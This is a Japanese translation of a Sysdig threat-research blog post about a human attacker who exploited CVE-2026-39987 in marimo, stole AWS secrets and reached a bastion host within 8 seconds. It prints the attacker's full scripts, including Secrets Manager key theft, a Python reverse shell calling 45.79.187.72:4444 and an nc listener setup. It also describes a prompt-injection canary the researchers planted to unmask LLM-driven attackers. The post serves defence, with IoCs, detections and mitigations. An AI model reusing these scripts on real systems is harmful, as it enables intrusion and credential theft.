AIが攻撃者の参入障壁を下げているのは、もはや議論の余地がない事実です。しかし、熟練した脅威アクターがLLM主導の競合相手に対抗し続けられるかどうかは、依然として議論の的となっています。
最近、Sysdig脅威リサーチチーム(TRT)は、単独の脅威アクターが、開いたWebSocketから踏み台ホストへのライブSSHセッションに至るまでをわずか8秒で完了させる様子を観測しました。そこにエージェントの介在はなく、LLMが生成したスクリプトやツールの痕跡も一切見られませんでした。代わりに、攻撃者はセッション内で4時間かけて手作業で書き上げ、デバッグしたPythonツールキットを使用していました。
この攻撃者は、marimoにおける事前認証なしのリモートコード実行(RCE)脆弱性であるCVE-2026-39987を悪用しました。彼らは認証情報の窃取から侵入を広げていく一連の攻撃チェーンを、最初から最後まで実行しています。未認証のWebSocketターミナルによる初期アクセス、侵害されたインスタンスから収集した認証情報を使ったAWS Secrets Managerの呼び出し、そして取得したプライベートキーを使った踏み台ホストへのSSHアクセスです。9時間に及ぶセッションの中で、彼らは850件を超える対話型コマンドを発行しましたが、一般に出回っている攻撃用ツールを使った形跡は見当たらず、スクリプトはすべてセッション内で手書きされたものでした。
8秒という速さは、本来AI支援攻撃で見られるレベルのものです。この攻撃者は純粋な技量だけでその速度に到達し、しかもその過程で、同じCVEを標的とした私たちが確認済みのすべてのエージェント型脅威アクター(ATA)が引っかかった罠を見事にすり抜けています。熟練した人間の攻撃者はマシン並みの速度で動けるだけでなく、多くの場合、防御側の検知をより巧妙に回避することもできるのです。
今回取り上げるのは、CVE-2026-39987を悪用した複数の攻撃者を対象に私たちが実施してきたプロファイリングの一つです。この一連の調査は開示からわずか10時間足らずでの悪用から始まり、続いてNKAbuse RATキャンペーンを取り上げてきました。今回の攻撃者が特異なのは、その手口の巧みさです。他の攻撃者が明確なLLMの痕跡を残していたのに対し、この攻撃者は自動化スクリプトを手作業で書き、エージェント駆動の攻撃者が判で押したように引っかかっていた仕込みのプロンプトインジェクションを見事に無視し、事前に前回のセッションで準備しておいたツールキットを使ってRCE後の3段階の処理をわずか8秒で連鎖実行してみせました。
Sysdig TRTが観測した内容、いくつかの検知手法と侵害指標(IoC)、そして防御側が先手を打つために取れる対策について見ていきましょう。
タイムライン
すべての時刻はUTCです。
|
時刻 |
イベント |
|---|---|
|
最初に観測されたターミナル活動の28時間以上前 |
最初に窃取されたAWS認証情報がCloudTrail上のGetCallerIdentityで検証される |
|
最初の認証情報が窃取されてから33分後 |
2つ目の窃取された認証情報(アプリケーションのRedisバックエンドから)が検証される |
|
12:52:18 |
172.236.12.17から/terminal/wsへの最初のWebSocket接続 |
|
12:54:13 |
最初の対話型コマンド:ホストが属するRFC1918の/24範囲に対する/dev/tcpスイープ |
|
16:00~16:30 |
攻撃者がbase64エンコードされた一連のPythonスクリプトを/tmp/に投下 |
|
16:50:40 |
boto3スクリプトがAWS上でsecretsmanager:GetSecretValueを呼び出す |
|
16:51:45 |
取得したSSHキーがインターネットから到達可能な踏み台ホストに対して再利用される |
|
18:54:31 |
新たなWebSocketセッションが開始 |
|
18:54:45 |
CloudTrailでAWS Secrets Manager APIの呼び出しを観測(WebSocketオープンから14秒後) |
|
18:56:32~18:56:44 |
EC2の列挙が拒否される:DescribeInstances → UnauthorizedOperation;DescribeKeyPairs → AccessDenied; DescribeInstanceInformation → AccessDenied |
|
18:56:50 |
ec2:SendSSHPublicKeyがi-0000000000000000(nullのインスタンスID。列挙処理は一度も実際のIDを返していなかった)に対して発行され、ブロックされる |
|
18:57:22 18:57:30 |
新たなWebSocketセッションが開始 SSH踏み台への認証を観測(そのセッションの WebSocketオープンから8秒後) |
|
20:13~20:32 |
攻撃者が支配下にあるVPSに対してasyncssh形式のリスナーをセットアップ |
|
21:50:14 |
この攻撃者による最終的な切断 |
最初の対話型コマンド(ホストの/24範囲に対するTCPプローブ)と、認証情報を用いた最初のAWS API呼び出しの間には、約4時間の開きがあります。この期間はほぼ間違いなく、攻撃者がツールを構築しデバッグしていた時間帯です。ツールキットが完成し正常に動作するようになった後は、スクリプトが既にディスク上に用意されていたため、後続の再接続では単一のコマンドを実行するだけで攻撃チェーン全体が数秒で完了しました。
脆弱性の詳細
marimoノートブックは、GPUアクセス、大規模データセット、AWS・GCPおよび各種モデルプロバイダーへの認証済み接続を備えたホスト上で、MLパイプラインと並行して運用されるケースが一般的です。侵害されたmarimoインスタンスは、被害者のクラウドアカウントへの入口となってしまいます。
CVE-2026-39987は事前認証なしのRCE脆弱性です。GitHubのアドバイザリによれば、marimo 0.20.4以下のすべてのバージョンが影響を受け、修正版は0.23.0でリリースされています。/terminal/ws WebSocketエンドポイントは対話型のPTYシェルを提供しますが、同一アプリケーション内の他のWebSocketエンドポイントが正しく適用している認証検証をスキップしてしまいます。このパスに対してWebSocketを開けるクライアントは誰でも、資格情報を一切必要とせず、marimoプロセスのユーザー権限でフル機能の対話型シェルを取得できてしまいます。この脆弱性の悪用にペイロードやエンコーディングは一切不要で、単にそのパスへWebSocket接続を開くだけで済みます。バージョン0.23.0での修正では、欠落していたvalidate_auth()呼び出しがPR #9098によってターミナルエンドポイントに組み込まれています。
観測された内容
手作業によるAWS自動化スクリプト
このケース以前にmarimoに対して行われた攻撃はすべて、LLM主導の攻撃者であることを示す明確な痕跡を残していました。彼らは、単一のシェルセッション内で、記憶を頼りにAWSリクエスト署名コードを一行ずつ手入力していました。一方、今回の攻撃者は複数のセッションにわたってboto3チェーンスクリプトを作成・デバッグし、base64エンコードされたPythonファイルとして/tmp/に投下しました。この過程で攻撃者がAIを使用したことを示す証拠は一切見つかっていません。
セッション後半では、攻撃者は17分間のうちに8種類のユニークなスクリプトを次々と試し、それぞれ同一のパターンでbase64デコードされて/tmp/に配置されていました:echo '<base64-blob>' | base64 -d > /tmp/<name>.py。このbase64ラッピングには2つの目的があります。複数行にまたがるPythonコードの埋め込みによるシェルのクォーティング問題を回避できること、そしてbash_historyに残る行を単一行に圧縮し、ファイルの中身をざっと確認しただけの防御側にスクリプトの内容を悟らせないことです。
以下は、実際に投入された順番で再現したツールキットの全体像です。AWSの認証情報の値は伏せてありますが、それ以外はWebSocketのコマンドストリームからそのまま抜粋しています。
スクリプト1:リージョンフォールバック付きの初期Secrets Manager取得処理
このスクリプトは例外発生時に5つのAWSリージョンを順にフォールバックしていきます。認証情報は環境変数から読み込むのではなくソースコード内にハードコードされており、これは攻撃者がシェルセッションの前半で既に抽出していた認証情報を使って反復的に試行していたことを示しています。
import boto3, json
try:
client = boto3.client("secretsmanager",
aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
region_name="us-east-1")
resp = client.get_secret_value(SecretId="REDACTED")
val = resp.get("SecretString", "")
if not val:
val = resp.get("SecretBinary", b"").decode()
print("SECRET_START")
print(val)
print("SECRET_END")
except Exception as e:
print(f"AWS_ERR:{e}")
# Try other regions
for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
try:
c2 = boto3.client("secretsmanager",
aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
region_name=region)
r2 = c2.get_secret_value(SecretId="REDACTED")
val = r2.get("SecretString", "")
if not val:
val = r2.get("SecretBinary", b"").decode()
print(f"FOUND_IN_{region}")
print("SECRET_START")
print(val)
print("SECRET_END")
break except Exception as e2:
print(f"REGION_{region}:{e2}")
スクリプト2:キー永続化とJSON解析を備えた改良版Secrets Manager取得処理
これが主力となるスクリプトです。取得したキーをモード0600で/tmp/bastion_keyに書き込み、シークレット値を{key: ...}構造または生の文字列レスポンスのいずれにも対応できるようJSONとして解析し、アクセス拒否の場合はsecretsmanager:ListSecretsにフォールバックします。SecretIdの値も2つのスクリプトのバージョン間で変更されており、これは侵害したホストから追加情報を入手した後に、攻撃者がシークレット名を修正したことを示唆しています。
import boto3, json, os, sys
# Use env vars (already set)
# AWS_ACCESS_KEY_ID=<AWS_KEY_HARVESTED_FROM_VICTIM>
# AWS_SECRET_ACCESS_KEY=<AWS_SECRET_HARVESTED_FROM_VICTIM>
# AWS_DEFAULT_REGION=us-east-1client = boto3.client("secretsmanager")
try:
resp = client.get_secret_value(SecretId="REDACTED")
secret = resp.get("SecretString", "")
if not secret:
secret = resp.get("SecretBinary", b"").decode()
print("SECRET_RETRIEVED")
print(f"SECRET_LEN:{len(secret)}")
# Try to parse asJSONtry:
data = json.loads(secret)
for k, v in data.items():
if"key"in k.lower() or "private"in k.lower():
with open("/tmp/bastion_key", "w") as f:
f.write(v)
os.chmod("/tmp/bastion_key", 0o600)
print(f"KEY_FIELD:{k}")
print(f"KEY_HEAD:{v[:60]}")
print("KEY_SAVED:/tmp/bastion_key")
else:
print(f"FIELD:{k}={str(v)[:100]}")
except json.JSONDecodeError:
# Raw key data
with open("/tmp/bastion_key", "w") as f:
f.write(secret)
os.chmod("/tmp/bastion_key", 0o600)
print(f"RAW_KEY_HEAD:{secret[:60]}")
print("KEY_SAVED:/tmp/bastion_key")
except Exception as e:
print(f"AWS_ERR:{e}")
# Try listing secrets
try:
secrets = client.list_secrets(MaxResults=20)
for s in secrets.get("SecretList", []):
print(f"SECRET_LIST:{s['Name']}")
except Exception as e2:
print(f"LIST_ERR:{e2}")
スクリプト3:標準ライブラリのみを用いた直接的なリバースシェル
これは標準ライブラリのみ(stdlib-only)で構成されたPythonリバースシェルで、サードパーティのimportやエンコーディングは一切使わず、socket、os.dup2、subprocessだけで構成されています。最初のバージョンにはエラーハンドリングがありませんでしたが、2つ目のバージョンでは、おそらく前回の試行でシェルがハングした経験を踏まえて、try/exceptとs.settimeout(10)が追加されています。
import socket, subprocess, os, sys
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("45.79.187.72", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
except Exception as e:
print(f"SHELL_ERR:{e}", file=sys.stderr)
スクリプト4:鍵の種類を判別しながらVPSにSSH接続してリスナーをセットアップ
このスクリプトはRSAKey、Ed25519Key、ECDSAKeyの順に試行します。攻撃者は踏み台の鍵がどのアルゴリズムを使用しているかを把握していませんでした。SSH接続後、ポート4444で稼働中のncリスナーがあればすべて終了させ、新たにnohup nc -lvp 4444のリスナーを起動し、ss -tlnpでリスナーが正しくバインドされたことを確認します。出力の構造(診断情報はstderr、ステータスフラグRELAY_READYはstdout)は、このツールキット内のすべてのスクリプトで一貫しており、対話的に実行するためではなく、別のスクリプトから呼び出されることを前提としたプログラム的なインターフェースであることが分かります。
#!/usr/bin/env python3
import paramiko, io, time, sys
with open("/tmp/relay_key", "r") as f:
key_data = f.read()
print(f"KEY_LEN: {len(key_data)}", file=sys.stderr)
print(f"KEY_HEAD: {key_data[:50]}", file=sys.stderr)
# Try loading the key
key = None
for KeyClass in [paramiko.RSAKey, paramiko.Ed25519Key, paramiko.ECDSAKey]:
try:
key = KeyClass.from_private_key(io.StringIO(key_data))
print(f"KEY_TYPE: {KeyClass.__name__}", file=sys.stderr)
break except Exception as e:
print(f"TRY_{KeyClass.__name__}: {e}", file=sys.stderr)
continueif not key:
print("FAILED_ALL_KEY_TYPES", file=sys.stderr)
sys.exit(1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect("45.79.187.72", username="root", pkey=key, timeout=10)
print("SSH_CONNECTED", file=sys.stderr)
# Kill any existing nc on 4444 client.exec_command("pkill -f 'nc.*4444' 2>/dev/null")
time.sleep(1)
# Start listener
client.exec_command("nohup nc -lvp 4444 > /tmp/revshell.log 2>&1 &")
time.sleep(2)
# Verify
_,o,_ = client.exec_command("ss -tlnp | grep 4444")
verify = o.read().decode().strip()
print(f"LISTENER: {verify}", file=sys.stderr)
_,o2,_ = client.exec_command("hostname; id")
info = o2.read().decode().strip()
print(f"RELAY_INFO: {info}", file=sys.stderr)
client.close()
print("RELAY_READY")
except Exception as e:
print(f"SSH_ERROR: {e}", file=sys.stderr)
スクリプト5:全チェーン統合版——リスナーのセットアップとリバースシェルの発火
ファイル名と、20:13~20:32 UTCの時間帯に投下された最後のスクリプトという位置づけから判断すると、このスクリプトはスクリプト1から4までのSecrets Manager取得処理、鍵の取り扱い、リバースシェルのロジックを1つのモジュールに統合したもののようです。ただし、コマンドストリームが途中で途切れてしまっているため、importの記述と冒頭のコメントヘッダー以降の内容は捕捉できていません。
import paramiko, io, os, time, sys, socket, subprocess
# Read the b
同一プロバイダーのインフラ
送信元IP(172.236.12.17、ロンドン)とコマンド&コントロール(C2)リスナーの宛先(45.79.187.72、ニュージャージー州シーダーノールズ)は、いずれもLinodeが運営する自律システムであるAS63949 Akamai Connected Cloudに属しています。攻撃者は操作用シェルとコールバックの受け口の両方に同一のVPSプロバイダーを利用していました。これは、低コストで運用する攻撃者が冗長性確保のために同一プロバイダー上で複数のVPSインスタンスを購入する場合によく見られるパターンです。これは有用なクラスタリングの手がかりとなります。送信元IPとC2の両方がAS63949内に存在する他の侵害事例があれば、同一の攻撃者による犯行である可能性が高いためです。
プロンプトインジェクションの罠に対する耐性
Sysdig TRTは、人間の攻撃者とLLM主導のツールを見分けるために、この脆弱なmarimoコンテナ内に自然言語による指示を仕込んでいました。このプローブは、特定のファイルを指示として処理するあらゆるLLMエージェントに対して、隠しマーカーを自らの出力に反映させることで自己申告するよう指示するものです。これまでに報告されたLLM主導の攻撃者は、いずれもこの文脈を読み取り、その後入力したコマンドの中に判で押したようにこのマーカーを反映させていました。
しかし、今回の攻撃者はセッション中に2回別々にこのファイルを確認し、どちらの場合もプローブを目にしているにもかかわらず、一度もマーカーを反映させることはありませんでした。この送信元IPに関連するあらゆるコマンド、ペイロード、クエリフィールドの中に、マーカーが現れることは一度もありませんでした。手作業のペースで進むセッション構成、AWSのリージョンフォールバックロジックに見られる反復的なデバッグの跡、そしてセッションをまたいだ手打ちならではのクォーティングのばらつきと合わせて考えると、これはこの脆弱性に関して私たちが収集した中で最も明確な「非LLMエージェント」の行動的特徴です。
熟練した人間は、回避能力と判断力の面でLLM主導の攻撃者を凌駕します。どちらの脅威も、もう一方より本質的に危険であるとか安全であるとかいうことはありません。重要なのは、一方に対して構築された防御策が、もう一方の行動を見逃してしまう可能性が高いという点です。防御側は両方のタイプの攻撃者に対する防御を並行して強化し続ける必要があります。
試行された2つのAWS認証情報の経路
攻撃者は、侵害したmarimoインスタンス上の2つの異なる箇所からAWS認証情報を収集していました。
- 認証情報1は、侵害したホスト上の環境変数と認証情報ファイルから収集されました。攻撃者は最初のWebSocket接続の前にこれをCloudTrail上で検証しています。
- 認証情報2は、暗号化された認証情報キーに対する
GETルックアップに応じて、アプリケーションのRedisバックエンドから返されたものです。これは最初の認証情報から33分後に検証されました。
最初の認証情報の検証から最初に観測されたターミナル活動まで28時間の間隔があることから、最初の窃取は私たちの可視範囲より前に行われていたことが分かります。攻撃者は、私たちがログを保有しているいずれのターミナルセッションにも出現する前に両方の認証情報を検証しており、その後、両方をboto3チェーンで試していました。この2つの認証情報は異なるIAMユーザーに紐づいており、両方の使用が確認されたことから、最初の認証情報で踏み台のシークレットを取得できなかったため、攻撃者が2つ目の認証情報に切り替えるという反復的な探索プロセスを踏んでいたことが裏付けられます。
人間の手による8秒サイクル
活動開始から3時間目までには、ツールキットはディスク上に配置され、テストも済んでいました。それ以降、攻撃者はWebSocketセッションを再確立できるスピードのまま、チェーン全体を最初から最後まで実行しました。
- 18:57:22:新たなWebSocket接続
- 18:57:26:アプリケーションに保存された認証情報に対するルックアップが、窃取済みのAWSキーを返す
- 18:57:30:踏み台ホストでSSH認証を観測
WebSocketのオープンから踏み台への認証までは8秒で、その間にAWS Secrets Manager APIの呼び出しが収まっていました。攻撃者の手口は、エージェント型のフレームワークではなく、認証情報を取得し、Secrets ManagerからSSHキーを取得し、それをディスクに書き込み、一度の実行でSSH経由で踏み台に認証を行う、バックグラウンドで動く単一のpython3呼び出しに集約されていました。
自分自身のペースで再接続を行った人間が手作業で作り上げたツールが、私たちがこれまで表面化させてきたAI駆動の脅威と同等の運用上の攻撃速度に到達しました。マシン並みの速度という脅威自体は、AIによって初めてもたらされたものではありません。SCARLETEELは2023年初頭の時点で、3分足らずでデータを窃取していました。とはいえAIは攻撃者の参入障壁を確実に引き下げ、マシン並みの速度への到達をはるかに容易にしています。
AWS EC2 Instance Connect:null値のターゲットに向けて発射された自動化処理
2つのWebSocketセッションの間に、バックグラウンドで動くスクリプトが4件のElastic Compute Cloud(EC2)API呼び出しを立て続けに行っていました。
|
時刻(UTC) |
API呼び出し |
結果 |
|
18:56:32 |
DescribeInstances |
UnauthorizedOperation |
|
18:56:39 |
DescribeKeyPairs |
AccessDenied |
|
18:56:44 |
DescribeInstanceInformation |
AccessDenied |
|
18:56:50 |
SendSSHPublicKey(インスタンスi-0000000000000000) |
ブロック |
すべての列挙呼び出しが拒否されました。このスクリプトの狙いはほぼ間違いなく、稼働中のインスタンスを列挙してインスタンスIDを取得し、Secrets Managerによるキーのやり取りを一切介さずに、EC2 Instance Connectを使って攻撃者が管理する公開鍵をパスワード不要のSSH経路として押し込むことだったと考えられます。EC2 Instance Connect経由で鍵をプッシュし、Secrets Managerの段階を飛ばして直接SSHで接続する手法は、より洗練された永続化のテクニックです。
問題は、列挙処理が失敗した場合のエラーハンドリングが不完全だったことです。DescribeInstancesがUnauthorizedOperationを返した際、対象のインスタンスIDを保持するはずの変数には値が入りませんでした。それでもスクリプトは、その変数のデフォルト値のままSendSSHPublicKeyを発行してしまいました。今回の場合、その値はi-0000000000000000という、実際のEC2インスタンスには決して割り当てられることのないプレースホルダーでした。AWSはIAMによる評価に進む前の段階で、不正な形式のインスタンスIDとしてこの呼び出しを拒否しました。
これは自動化処理が特定の形で失敗した事例です。攻撃者は、インスタンスは存在するが鍵のプッシュが拒否されるケース(プッシュ失敗)には対応していたものの、プッシュ先となるインスタンスIDが存在しないケース(列挙失敗)には対応できていませんでした。プレースホルダーへのフォールバックは、初期化されていない、あるいはセンチネル値が設定されたPython変数の存在を示しており、AWSから供給されたIDではないことを物語っています。
ここで2点、注目すべきことがあります。1点目は、EC2 Instance Connectの経路が見た目以上に危険であるということです。もし列挙処理が成功していれば、攻撃者はSecrets Managerに一切触れることなく、そのインスタンスへの直接的なSSH経路を手に入れていたはずです。2点目は、プレースホルダーに対するSendSSHPublicKey呼び出しが、今やこの攻撃者を特定するための実証済みの行動的シグナルとなっているということです。EC2の列挙が拒否された場合でも、彼らはそのままAPI呼び出しを発行してしまいます。3回連続で列挙呼び出しが拒否された後にプレースホルダーに対するSendSSHPublicKeyが続くという、この特有のシーケンスは、列挙結果を検証するガード処理を欠いた自動化スクリプトを見分けるための、精度の高い指紋と言えます。
この攻撃者プロファイルが重要な理由
EC2 Instance Connectの経路は、この攻撃者の思考プロセスを垣間見る手がかりを与えてくれます。彼らは、以前のLLM主導の攻撃者がそうしていたような単一の経路のみに頼ってはいませんでした。Secrets Managerを使ったチェーンが8秒サイクルで動いている間、もう1つの独立したスクリプトが、インスタンスに直接SSHキーをプッシュすることで別の入口を開こうと試みていたのです。これは、最初の手法がブロックされる可能性を見越した、人間ならではの冗長性の作り込みでした。一方でエージェント型の脅威アクターは、往々にして失敗すると数秒後には別の手法へと切り替えます。彼らは、あらかじめ次善策を用意しておくということをしません。
この点を踏まえると、列挙処理が失敗した後に鍵プッシュを試みるという流れは、人間が高速に動きながらライブで試行錯誤を重ね、列挙結果が空だった場合にどうなるかまでは考えていなかったことを示すサインです。これは、人間ならではの手口が、いかにも人間らしいミスによって破綻し得ることを示す好例です。本来であれば処理を中止すべき人為的なコーディングミスであったにもかかわらず、プレースホルダー値のままゴリ押しで実行されてしまいました。これはLLM主導のツールが起こしそうにない種類のミスです。
防御側にとって実践的な意味合いとしては、検知の仕組みを攻撃者のタイプ別の指紋に依存させるわけにはいかないということです。LLMが生成したcat ~/.bash_historyのようなコマンド列と、手打ちのnohup python3 /tmp/chain.pyとでは、シェルのコマンドストリームはまったく異なる見た目になりますが、いずれも最終的には同じsecretsmanager:GetSecretValueのAPI呼び出し、SSHキーの受け渡し、踏み台への外向きTCP接続へとたどり着きます。検知の優先事項は、シェルの入力パターンではなく、チェーン全体の形状にあるべきです。
侵害指標
送信元IP
|
IP |
ASN / プロバイダー |
地域 |
役割 |
|
172.236.12.17 |
AS63949 Akamai Connected Cloud(Linode) |
英国、ロンドン |
すべての対話型WebSocketセッションの送信元 |
|
45.79.187.72 |
AS63949 Akamai Connected Cloud(Linode) |
米国、ニュージャージー州シーダーノールズ |
nc -lvp 4444のコールバックリスナーとして使われる、攻撃者が保有するVPS |
172.236.12[.]17のLinodeエンドポイントは、使い捨て型のVPSインフラである可能性がほぼ間違いありません。一方、45.79.187[.]72のリスナーはより重要な意味を持ちます。攻撃者がこのホストへのSSH rootアクセスを実際に示していることから、彼らがこのVPSに料金を支払っているか、あるいは盗んだ認証情報を保持しており、少なくとも今回のキャンペーン期間中はこれを使い続けていることが分かるためです。攻撃用シェルと同じVPSプロバイダー上に存在する長期稼働型のインフラは、追跡する価値のあるクラスタリングの手がかりです。
ファイル・パスに関する指標
- base64デコードされたboto3チェーンスクリプト:
/tmp/chain.py、/tmp/full_chain.py - AWS Secrets Managerのレスポンスから書き出されたSSH秘密鍵(モード0600):
/tmp/bastion_key - nohupの出力先:
/tmp/chain.log、/tmp/chain_output.txt - C2ホスト上のnc -lvp 4444の出力先:
/tmp/callback.log
行動に関する指標
echo '<long-base64-blob>' | base64 -d > /tmp/<name>.pyの実行後、数秒以内にnohup python3 /tmp/<name>.py > /tmp/<name>.log 2>&1 &が続くパターンboto3.client("secretsmanager")の呼び出しに続いて、例外発生時に["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]という正確な順序でリージョンを反復するパターン- 既知のSSHクライアントバイナリではないプロセスからの
paramiko.SSHClient.connect(<ip>, username="root")呼び出し - セッション序盤に見られる
pip3 install boto3 2>&1 | tail。marimoコンテナにはboto3が標準搭載されていないため、これを知らない攻撃者は最初のAWS呼び出しで失敗することになります
検知
検知は、単一のコマンドを個別に見るのではなく、チェーン全体の形状に着目すべきです。ノートブックホスト上で以下の挙動が順番に観測された場合、私たちが捕捉したものとまったく同じRCE後の攻撃チェーンの兆候である可能性があります。
- ノートブックコンテナ内で動作するプロセスが
/proc/self/environまたはアプリケーションの.envファイルを読み取る。 - 同じプロセスが、標準的でないユーザーエージェントを使って
secretsmanager.<region>.amazonaws.comへの外向きHTTPSリクエストを行う。 - 同じ1分以内に、コンテナから非RFC1918の宛先の非標準ポートに対する外向きTCP接続が行われる。
CloudTrailによる検知は単純明快です。これまでSecrets Managerを一度も呼び出したことのないAWSプリンシパルから発行されたsecretsmanager:GetSecretValue呼び出しがerrorCode: AccessDeniedExceptionを返し、その後1分足らずのうちに同一のプリンシパルから複数のリージョンにまたがる再試行呼び出しが続くというパターンは、リージョンフォールバック型の探索行動を示す精度の高い証拠です。
Sysdig Secureのお客様の場合、コンテナのドリフト検知および外向きネットワークエグレスに関するランタイムポリシーのクラスが、この攻撃チェーンのホスト上部分をカバーします。AWS GuardDutyのUnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSの検出結果は、窃取された鍵がAWSアカウントの通常のエグレス範囲外のIPから再利用された場合に、クラウド側の部分をカバーします。
推奨対策
- marimoのアップデート:まだ済んでいない場合は、バージョン0.23.0以降にアップデートしてください。この脆弱性は数か月にわたりCISAのKEV(既知の悪用された脆弱性)カタログに掲載されており、連邦政府機関に対する是正期限は2026年5月7日でした。
- /terminal/wsエンドポイントの制限:リバースプロキシで認証を課すか、そもそもノートブックプラットフォームをインターネットに公開すべきではないため、ターミナル機能自体を無効化してください。
- クラウド認証情報の所在の監査:ノートブックホスト上でクラウド認証情報がどこに存在しているか確認してください。今回の攻撃者は、プロセス環境とアプリケーションのデータバックエンドという2つの異なる場所から個別のAWSキーを2つ収集し、両方を試していました。プロセス環境(
/proc/<pid>/environ)、systemdのEnvironmentFileエントリ、~/.aws/credentialsおよび~/.aws/config、アプリケーションの.env、そしてノートブックサービスが実行時に問い合わせるあらゆるシークレットストアを確認してください。この2つのキーは異なるIAMユーザーに紐づいていたため、一方の経路だけを塞いでも侵入経路を完全に閉じることはできませんでした。 - Secrets Managerへのアクセス範囲を制限:ノートブックホスト上に認証情報を持つIAMユーザーが、
deploy-bastion用のSSHキーへの読み取りアクセス権を持つべきではありません。secretsmanager:GetSecretValueの権限は、そのプリンシパルが実際に必要とするシークレットのみに絞り込んでください。 - ノートブックコンテナからの通信を制限:アプリケーションが明示的に必要とするポート(PyPIミラーやモデルAPIなど)以外への、ノートブックホストからパブリックインターネットへの外向きTCP通信をブロックしてください。リバースシェルでよく使われるポート範囲(4444、1337、1234、8080、9001、31337)は、ノートブックのエグレストラフィックには決して現れるべきではありません。
- 過去に露出した認証情報のローテーション:インターネットから到達可能なmarimoインスタンス上で以前から露出していた認証情報はすべてローテーションしてください。
/terminal/wsが4月8日以降のいずれかの時点でアクセス可能だった場合は、.envの内容、アプリケーションのデータ層、そしてあらゆる環境変数が既に露出済みであるという前提に立ってください。 - 探索(ハンティング):ノートブックホストの
/tmp/内にchain.py、bastion_key、および類似した名前のファイルがないか調査してください。この攻撃者のクラスでは永続化はまれですが、彼らが/tmp/に残していくツールキットは永続性があり、セッションをまたいで再利用可能です。
結論
今回のmarimoの脆弱性(CVE-2026-39987)は、技量もツールも大きく異なる攻撃者を引き続き引き寄せています。しかし、これまでに私たちが目にしてきたすべての攻撃は、同じ結末に収束しています。ノートブックホストが通常保持している認証情報を収集し、それを上流のクラウドアカウントに対して再利用し、そこから内部へと侵入を広げていくという流れです。
認証情報の取得から踏み台への到達までを8秒で完了するこのチェーンは、防御側が想定しておくべき基準線と言えます。攻撃者が適切なツールキットをダウンロードあるいは構築してしまえば、RCE後のフェーズは、ほとんどの検知・対応チームが反応できる速度をはるかに上回るスピードで進行します。防御可能な立ち位置は、より上流にあります。パッチを適用し、WebSocketエンドポイントを制限し、ノートブックの侵害がそのままクラウドアカウントの侵害につながらないようクラウド認証情報の範囲を適切に絞り込むことです。
AIは攻撃の経済性を変えつつあるのかもしれません——より多くの標的、より短い攻撃開始までの時間、そして反復作業にかかる手間の削減といった形で。しかし、ゼロから構築し、罠を回避する術を心得た熟練の攻撃者に取って代わったわけではありません。現在の脅威の状況には両方のタイプが存在し、同じ脆弱性を狙い、同じ結果を目指し、しかも同じ速度でそれを実行しています。防御側は、その両方に対する備えを怠ってはなりません。
Sysdig TRTによる脅威リサーチの最新情報をご覧ください
クラウド検知・対応
翻訳元: https://webflow.sysdig.com/blog/machine-speed-hold-the-ai-hand-rolled-marimo-cve-2026-39987-exploit
